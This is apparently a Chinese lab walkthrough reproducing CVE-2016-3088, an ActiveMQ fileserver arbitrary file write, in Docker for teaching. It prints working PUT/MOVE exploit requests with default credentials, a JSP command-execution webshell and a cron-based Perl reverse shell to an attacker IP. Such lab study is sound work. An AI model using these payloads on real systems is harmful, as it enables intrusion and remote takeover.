• 现在打靶都是 Docker 了,老人家也与时俱进一下,正好可以上课和学生演示使用,适当挖坑QAQ。

漏洞说明

  • ActiveMQ 的 Web 控制台分三个应用:

    • admin:管理员页面、需要登录
    • api:数据接口、需要登录
    • fileserver:储存文件的接口、无需登录
  • fileserver 是一个 RESTful API 接口,我们可以通过 GET、PUT、DELETE 等 HTTP 请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

    • 其使用率并不高
    • 文件操作容易出现漏洞
  • 所以 ActiveMQ 在 5.12.x~5.13.x 版本中,已经默认关闭了 fileserver 这个应用(你可以在 conf/jetty.xml 中开启之),在5.14.0版本以后,彻底删除了 fileserver 应用。

  • 在测试过程中,可以关注 ActiveMQ 的版本,避免走弯路。

  • 本漏洞出现在 fileserver 应用中,漏洞原理其实非常简单,就是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。

  • 所以,我们只需要写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。

  • 文件写入有几种利用方法:

    1. 写入 webshell
    2. 写入 cron 或 ssh key 等文件
    3. 写入 jar 或 jetty.xml 等库和配置文件
  • 写入 webshell 的好处是:门槛低、更方便。但前面也说了 fileserver 不解析 jsp,admin 和 api 两个应用都需要登录才能访问(结合弱口令),所以有点鸡肋;

  • 写入 cron 或 ssh key,好处是直接反弹拿 shell,也比较方便,缺点是需要 root 权限;

  • 写入 jar 稍微麻烦点(需要 jar 的后门),写入 xml 配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道 activemq 的绝对路径。

漏洞环境

  • 运行漏洞环境:
1
2
cd activemq/CVE-2016-3088
docker-compose up -d
  • 环境运行后,将监听 61616 和 8161 两个端口。
    • 61616:工作端口,消息在这个端口进行传递;
    • 8161:Web 管理页面端口(默认账密:admin/admin)。
  • 访问 http://your-ip:8161 即可看到 Web 管理页面:

image-20230831221730955

漏洞复现

WebShell 写入

  • 之前说明了,写入 Webshell 需要写在 admin 或 api 应用中,而这俩应用都需要登录才能访问。
  • 默认的 ActiveMQ 账号密码均为 admin,首先访问 http://your-ip:8161/admin/test/systemProperties.jsp 查看 ActiveMQ 的绝对路径:

image-20230831215412595

  • 看到绝对路径为:/opt/activemq,访问 /fileserver/xxx 使用 PUT 请求写入 WebShell.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
URL:http://192.168.1.151:8161/fileserver/shell.txt

PUT /fileserver/shell.txt HTTP/1.1
Host: 192.168.1.151:8161
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 330


<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

image-20230831215439231

  • 返回 204 表示写入成功~,以防万一进入 docker 里看看:
1
2
3
4
docker exec -it cve-2016-3088-activemq-1 /bin/bash

root@664a506d0752:/opt/apache-activemq-5.11.1# find / -name shell.txt
/opt/apache-activemq-5.11.1/webapps/fileserver/shell.txt
  • 写入成功,但因为 fileserver 应用中无法解析 jsp 文件,所以需要使用 MOVE 请求移动 shell.txt 到 api 应用中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 根据刚才的文件查看,得到目录是 /opt/activemq,可以猜测 api 的目录是 /opt/activemq/webapps/api
# 访问 /fileserver/xxx 使用 MOVE 请求移动 Shell.txt
URL:http://192.168.1.151:8161/fileserver/shell.txt

MOVE /fileserver/shell.txt HTTP/1.1
Host: 192.168.1.151:8161
Destination:file:///opt/activemq/webapps/api/webshell.jsp
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 330

image-20230831215457769

  • 尝试访问一下:

image-20230831215507719
image-20230831215515004

  • 成功写入~,但是这里有个坑点,如果你写入的是冰蝎的木马,在连接时会出现报错:
image-20230901164736082
  • 这里就非常非常坑爹了,经过漫长的查证,发现 HTTP Request 中有一个字段用于校验:

image-20230901164929686

  • 在 PUT 上传文件时遇见了,同样访问文件/连接木马也需要加上该字段,在冰蝎中添加:
image-20230901165120756
  • 这样即可成功连接!
image-20230901165226819

计划任务反弹 Shell

  • crontab 命令常见于 Unix 和类 Unix 的操作系统之中,用于设置周期性被执行的指令。
  • 该命令从标准输入设备读取指令,并将其存放于 crontab 文件中,以供之后读取和执行。
  • crontab 储存的指令被守护进程激活,crontab 常常在后台运行,每一分钟检查是否有预定的作业需要执行,这类作业一般称为 cron jobs。
  • 使用 PUT 请求写入 crontab,$i=攻击机IP
1
2
3
4
5
6
7
8
9
10
11
12
PUT /fileserver/cron.txt HTTP/1.1
Host: 192.168.1.151:8161
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 250

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.1.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

image-20230831215531762

  • 写入成功,使用 MOVE 请求把 cron.txt 移动到 /etc/cron.d/root:
1
2
3
4
5
6
7
8
9
10
11
MOVE /fileserver/cron.txt HTTP/1.1
Host: 192.168.1.151:8161
Destination: file:///etc/cron.d/root
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0

image-20230831221826205

  • 开启监听后,半天没反应,我发现 WP 那有个提示:
1
换行一定要 \n,不能是 \r\n,否则 crontab 执行会失败。
  • emm,哪的换行,根据这个思路,找到了:

image-20230831215602987
image-20230831215606455
image-20230831215614645

  • 藏的真深,修改后重新监听:

image-20230831215620580

  • 反弹成功!

写入 jetty.xml 或 jar

  • 理论上我们可以覆盖 jetty.xml,将 admin 和 api 的登录限制去掉,然后再写入 Webshell。
  • 有的情况下,jetty.xml 和 jar 的所有人是 Web 容器的用户,所以相比起来,写入 crontab 成功率更高一点。
  • 复现作者尚未测试,那我也不弄了(真不是不会,也没地方抄)。